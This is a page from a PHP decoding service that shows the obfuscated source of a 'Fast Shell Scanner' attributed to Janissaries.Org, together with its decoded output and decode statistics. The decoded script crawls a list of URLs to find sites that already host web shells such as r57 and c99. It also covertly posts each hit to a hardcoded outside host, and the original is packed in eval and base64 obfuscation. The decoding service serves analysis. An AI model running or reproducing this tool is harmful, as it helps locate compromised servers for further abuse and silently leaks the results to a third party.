Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* Fast Shell Scanner - Coded by miyachung - Janissaries.Org Production */$OOO000000..
Decoded Output download
echo '<meta charset="utf-8" http-equiv="Content-Type" />
<title>Fast Shell Scanner - Janissaries.Org</title>
<h1 style="margin:0;padding:0;font:bold 20px myriad pro;color:#333;">Janissaries.Org Fast Shell Scanner | <a href="http://janissaries.org/">Janissaries\'e git!</a></h1>
<form method="post" action="">
Denenecek(ler); <br/>
<textarea style="width:700px;height:350px;resize:none;" name="denenecekler"></textarea>
<br />
Tek seferde balanlacak url says ( rnein: 30 ) ; <br/>
<input type="text" name="thread" />
<br />
<input type="submit" value="Taramay Balat" />
</form>
';
set_time_limit(0);
if($_POST)
{
$class = new Scanner;
$liste = $_POST['denenecekler'];
$liste = explode("
",$liste);
$liste = array_filter($liste);
$thread = $_POST['thread'];
$class->taralan( $liste ,$thread );
}
class Scanner
{
private $siego = "http://burtay.org/dosylar/fss/kaydet.php";
public function taralan($liste,$th)
{
$multi_curl = curl_multi_init();
$chunkla = array_chunk($liste,$th);
foreach($chunkla as $urller)
{
for($i=0;$i<=count($urller)-1;$i++)
{
$curl[$i] = curl_init();
curl_setopt($curl[$i],CURLOPT_URL,$urller[$i]);
curl_setopt($curl[$i],CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($curl[$i],CURLOPT_TIMEOUT,10);
curl_multi_add_handle( $multi_curl ,$curl[$i] );
}
do{curl_multi_exec( $multi_curl ,$aktif );usleep(1);}while( $aktif >0);
foreach($curl as $cid =>$icerik)
{
$al[$cid] = curl_multi_getcontent( $icerik );
curl_multi_remove_handle( $multi_curl ,$icerik );
if(preg_match('#safe_mode|open_basedir|r57shell|c99shell|uname|shell|mysql|chmod|rw|phpinfo#si',$al[$cid]))
{
echo "<strong>alyor -></strong> <a href='$urller[$cid]'>$urller[$cid]</a><br />";
flush();
$this->log_Gonder($urller[$cid]);
}
}
}
}
private function log_Gonder($log)
{
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$this->siego);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,"kaydet=".urlencode($log)."");
curl_setopt($curl,CURLOPT_TIMEOUT,30);
$exec = curl_exec($curl);
curl_close($curl);
if($exec){return true;}
}
};Did this file decode correctly?
Original Code
<?php /* Fast Shell Scanner - Coded by miyachung - Janissaries.Org Production */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0xb50;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU0NSk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnZUcrWGF6WTdMUE9nbVZiWm9odXNBcG52NFF0bDVKZjN3S0JkVXlqTS9JNkRrMkZpeFM5MTBjTlJXQ3FFSFQ4cj0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>~DPaTZmXGZmXGZmXc1J7P35jpxlYzdQuwMvcTYuASzvcHMg+LMLBWUs0TZmaHxs1exgBLMLBxUh0SZoUzmAckMs0TZmXexmaHxPc0/PaJms0PGszVlP0TZs1exmXexs9JJO+h7saT+oASsn9JZmaHxmaTZmXeMvuwUs1exmaHxs1exg+hZs1exs1exmXeIg+Jyh9244vIQV0SosNJ2pjPtlNKc50zxlM40AvhkVAIjmRJgojhpfnIVg0UNhYk9hjyWA1USmYVbAyJX5ApLpXK9Zu5kP0z+o0hzhUJLuAIgsacbscGhAyVAppQvnzyt4nPdQYpjQNKItj2klnCi57z95RhcJMJWfv/xmsL1VXANV1wCO9HMOuUIbNQdlYT1QuwUs1exmaHxs1exOs2yJjzkO+hZs1exs1exs1eIbx==QnV/l9eMEEFrZYcyJYaw4NKK5MVyJX0BJvhjgswBLYK0J7e2Qvzctv4TLUVilMhylMo2p7yxQuLwg1WV+dS0tvhkQsCY4vV0LzV/QnSkLzVd4nCFQvLwguGO4nCI5RVK5jyy59CZ5j5HgRhIJYSyZw0OZYwSL7V0fnSyZuP24vPMtnWqmX2x4nhUtnCMbdeEQjTFJXIBlNSULXLx57wwlvy9tnzUL7G9l12dlNSi5d/dm1m1b9L8ujzFtvV14vPIQvmFsRPMLaQK5RowANKylYxwANVKljCy5BGHLXSKLYK9Qn4TLjK0J7eqg9T64nCI5RVK5jyy59Ci5j5iLdCO4nCI5RVK5jyy5cxMQuGMtvoKZ+TKZdxitXa8Xo/HQjT9luG2Qvh/lNoTLMGi5RoBLYzdJYyild0BLdWV+UhyljpFQnVyt9KkQvLIb9eH4MLiZw0OZ7hyf7hK5jpKL7V0fnSyZuPRtnh0tX/RmXGxfX2/QnyMt7oqm1Ax57wE5jp1tvIybjCiljAELBGF4ncyZuPUQnCyljpdQn2kQvLBZdxiJYpWJYz9Qna8Xo/H4MLwg1WV+yhyt9G1QnQy5jhyLYPKSPTk4nEaknSK4NzDL7p9l+G14vMakvZakue/LmbN5jCySPTIld/wm1ewOueELXSB5BH8Xo/HtnCxJvowJ7yxQs0BJYpWJ+Lwljz2Qs0BJYK9QnzULBeiZw0OZYP9L+H8Xo/HtnCxJvowJ7yxQs0B5RpBlny0LBGN4nScQs0BpYz94ncKf5uSLaPKSQTk4voBL+H8Xo/HgNQi5j08Xo/Mbx0O5Np0vRhIlnp3lYy2tvo/m+UEXoIIQBwUvcGZAcoIXoIEXo/U4NSK5RmwZuGFQv5wANVKljCy5dkV+BhktvV0QuewZueUvcGZAchlPNhyljpFQnVytNSy5BJJbx0OPYSI5RhyL+eTLYpW5YSiQYA/LySFLBxUlYy1JYAIbx0OPYSI5Rhy+s0w4vP94vy3QjykJYp9O+hktvV0QuUEXo/UJYK9QnzULX0wPzToscVAn9J0t7Py4noMvskV+BhdlYz15908JYz94nSKlBwwPYSI5RhyL+xUJYK9QnzUL+UEXoITXoIdlYz159Gs4NzFljp9XoIEXoIx5jyN4vhyL+h1tnpMl9eTL+P/J7hxbBHi4Mp9JYzCgjT9Q9TUlRVClYz9gNQ159TD4vyUQvoF5YKxLdkV+MGc4jSI49GjJnCdJYyilBG04vPKlYzFO+hktvV0QuxUJYwIXoIEXo/UlvpkJYy34Rp9l+eTLYVc5jS3lvpkJYy3tnCIJ+wIbx0OPYV/JnCDlYaw+s0w4vP94vy34NKcljk/PYSI5Rhyg+h0t+UEXoIjlRPy4nV/O+hdt7pFtNSKLYz1L+hc5jSkQvLIXoIEXoIjlRL/PYUTmXkUtsxT4NTclMo/P7p9lYSy5BU2mskUtukDOo0Ofx0OPYVc5jSlPYyJLX0w4Rp9lzTIljy0O+UEXoIdJvPkvRVyJYTxJ+wU4Rp9lzkUtp0kocpusaTopzTpAUxkP7p9lYSy5ykUtp0Ibx0O4Rp9lzT1Qvhi57o/PYVc5jSlPYyJgaVpAUSZAzh3AUpAppPbpzPGsyVYhpLkpzPphuUEXoIdJvPkvRVyJYTxJ+wU4Rp9lzkUtp0kocpusaTopzTAuAczscpAgXaxOskV+jVc5jS3lvpkJYy34nhUvNKKljhkQuwwPYccl7hIvNVc5jxwg+hdJvPkn9hIvueIbx0O3o0OQYTE4Rp9lzT2JnS0tpTyfYpdO+eUlvpkJYy34Rp9l+ekPYzDJYyjL+UEJvVkQnpxOXaIbRcRtYykQuwwPYzDJYyjLXWxOskV+jQi5jpK4Nw/PYVc5jxw4vmwPYVIQ+eTZBhI4Np9tnkIXoIEXo/U4nSlPYVIQz0wZuGdJvPkvNccl7hIvNJyJYVilMhylMo/L+hI4Np9tnkwOskV+jVc5jS3lvpkJYy35jp2lRQyvNKKljhkQuwwPYccl7hIvNVc5jxwg+hI4Np9tnkwOskV+jyjO7G9QnJ3lnz04Nw/P9V14nQyvNciQYpHlRGylyTB4vVyQYy937LcVRV/QnSk3YmCbvV/QnSk37pF4ncy37V/QnSk3YcC5Rzk3YV/lnTU37PR37G/5YyFQjHd5NUMg+hKlzkU4NyUvuUIXoIEXoIy4NKiL+LH5Rh9lNCMZkb74n1ak5n3SgzClRLwgsWHgRV05jTFQ1WwZYawt7PyQd0MP7p9lYSy5ykU4NyUvu58P7p9lYSy5ykU4NyUvsxi4sWH4MLwg1WBbx0OQjSc5Nw/OskV+Bh0tYy1gsCklNJ3hNTFQYp9O+hc5jSkQvPlPYVIQz0Ibx0O3o0O3o0O3o0O3o0O57PIJjz0QuGjJnCdJYyilBGklNJ3hNTFQYp9O+hklN5IXoIEXo/U4Rp9l+eTLYVc5jS3tnCIJ+wIbx0O4Rp9lzT1Qvhi57o/PYVc5jxkocpusaTopzTpAUxkP7h/tvm2ZMVIQnJiOskV+jVc5jS35Np0lRG0O+hdJvPkgaVpAUSZAzh3AUpAppPbpzPGsyVYhpLkmuUEXoIdJvPkvRVyJYTxJ+wU4Rp9l+SXppPmscGAvcGZAcokmuUEXoIdJvPkvRVyJYTxJ+wU4Rp9l+SXppPmscGAvcGZAchYuApmhzmkLj2KfnhyJX0BgMp9lYpF4NTUQuwUlYTMOuWBLBUEXoIdJvPkvRVyJYTxJ+wU4Rp9l+SXppPmscGAvchPsApZppokm1eIbx0OPYpWQnmwZuGdJvPkvNpWQnm/PYVc5jxIbx0O4Rp9lzTdlYT1QuwU4Rp9l+UEXoIIQBwUQvKy49yE5jp0JvPFL7h9JnAE3o0O3o0O3sk=alVnRPIqFunction Calls
| fopen | 1 |
| fread | 3 |
| strtr | 2 |
| fclose | 1 |
| urldecode | 1 |
| str_replace | 1 |
| base64_decode | 3 |
Stats
| MD5 | 7d86e571f2b3ddf0bec2dd2c83e6a4e3 |
| Eval Count | 3 |
| Decode Time | 118 ms |